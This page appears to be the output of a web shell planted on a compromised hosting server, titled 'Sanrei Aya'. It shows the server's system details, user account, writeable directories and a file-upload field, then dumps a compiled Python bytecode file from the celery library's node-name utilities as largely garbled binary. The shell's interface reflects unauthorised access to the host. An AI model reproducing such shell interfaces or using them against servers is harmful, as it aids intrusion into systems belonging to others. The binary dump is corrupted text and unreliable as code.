Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/utils/__pycache__/nodenames.cpython-39.pyc
a

��Sh[�@s$dZddlmZddlZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
ed	�Zd
ZdZdZeded
�ej�ZdZddd�dd�Zdddd�dd�Zd0dddd�dd�Zddd�dd �Zddd�d!d"�Zddd#dd$�d%d&�Zd1dddd)�d*d+�Zeed,d'�Zd2dddd#dd-�d.d/�ZdS)3zWorker name utilities.�)�annotationsN)�partial)�Exchange�Queue�)�memoize)�
simple_formatzC.dq2z{hostname}.dq2�@Zcelery)�Cache)�
worker_direct�gethostname�nodename�
anon_nodename�	nodesplit�default_nodename�node_format�host_formatzstr | Queuer)�hostname�returncCs"t|t�r|Sttj|d�t|�S)a5Return the :class:`kombu.Queue` being a direct route to a worker.

    Arguments:
        hostname (str, ~kombu.Queue): The fully qualified node name of
            a worker (e.g., ``w1@example.com``).  If passed a
            :class:`kombu.Queue` instance it will simply return
            that instead.
    �r)�
isinstancer�WORKER_DIRECT_QUEUE_FORMAT�format�WORKER_DIRECT_EXCHANGEr�r�@/usr/local/lib/python3.9/site-packages/celery/utils/nodenames.pyr&s	

�r�str)�namerrcCst�||f�S)z)Create node name from name/hostname pair.)�NODENAME_SEP�join)rrrrrr
8sr
�genz
str | None)r�prefixrcCs"td�|tt���g�|pt��S)zsReturn the nodename for this process (not a worker).

    This is used for e.g. the origin task message field.
    �)r
rr�os�getpidr)rr!rrrr=srztuple[None, str] | list[str])rrcCs(|�td�}t|�dkr$d|dfS|S)z,Split node name into tuple of name/hostname.rNr)�splitr�len)r�partsrrrrEsrcCs$t|pd�\}}t|pt|p t��S)z-Return the default nodename for this process.r")rr
�NODENAME_DEFAULTr)rr�hostrrrrMsr�dict)�sr�extrarcKs(t|�\}}t|||ptfd|i|��S)z(Format worker node name (name@host.com).�p)rrr()r+rr,�	shortnamer)rrrrSsrr"�0)r!�defaultrcCs&ddlm}|�}|r"|�|��S|S)Nr)�current_process_index)�logr1)r!r0r1�indexrrr�_fmt_process_indexYsr4�-)r+r)rr,rcKsH|pt�}|�d�\}}}|p |}t|||ttd�fi|��}t||�S)zFormat host %x abbreviations.�.)�h�n�d�i�I)r�	partitionr*r4�_fmt_process_index_with_prefixr)r+r)rr,�hname�_�domain�keysrrrrcs
���
r)Nr )r"r/)NN)�__doc__�
__future__rr#�socket�	functoolsrZkombu.entityrrZ
functionalr�textrrrrr(r*r�__all__rr
rrrrr4r=rrrrr�<module>s,

Yohohohohohooho | Sanrei Aya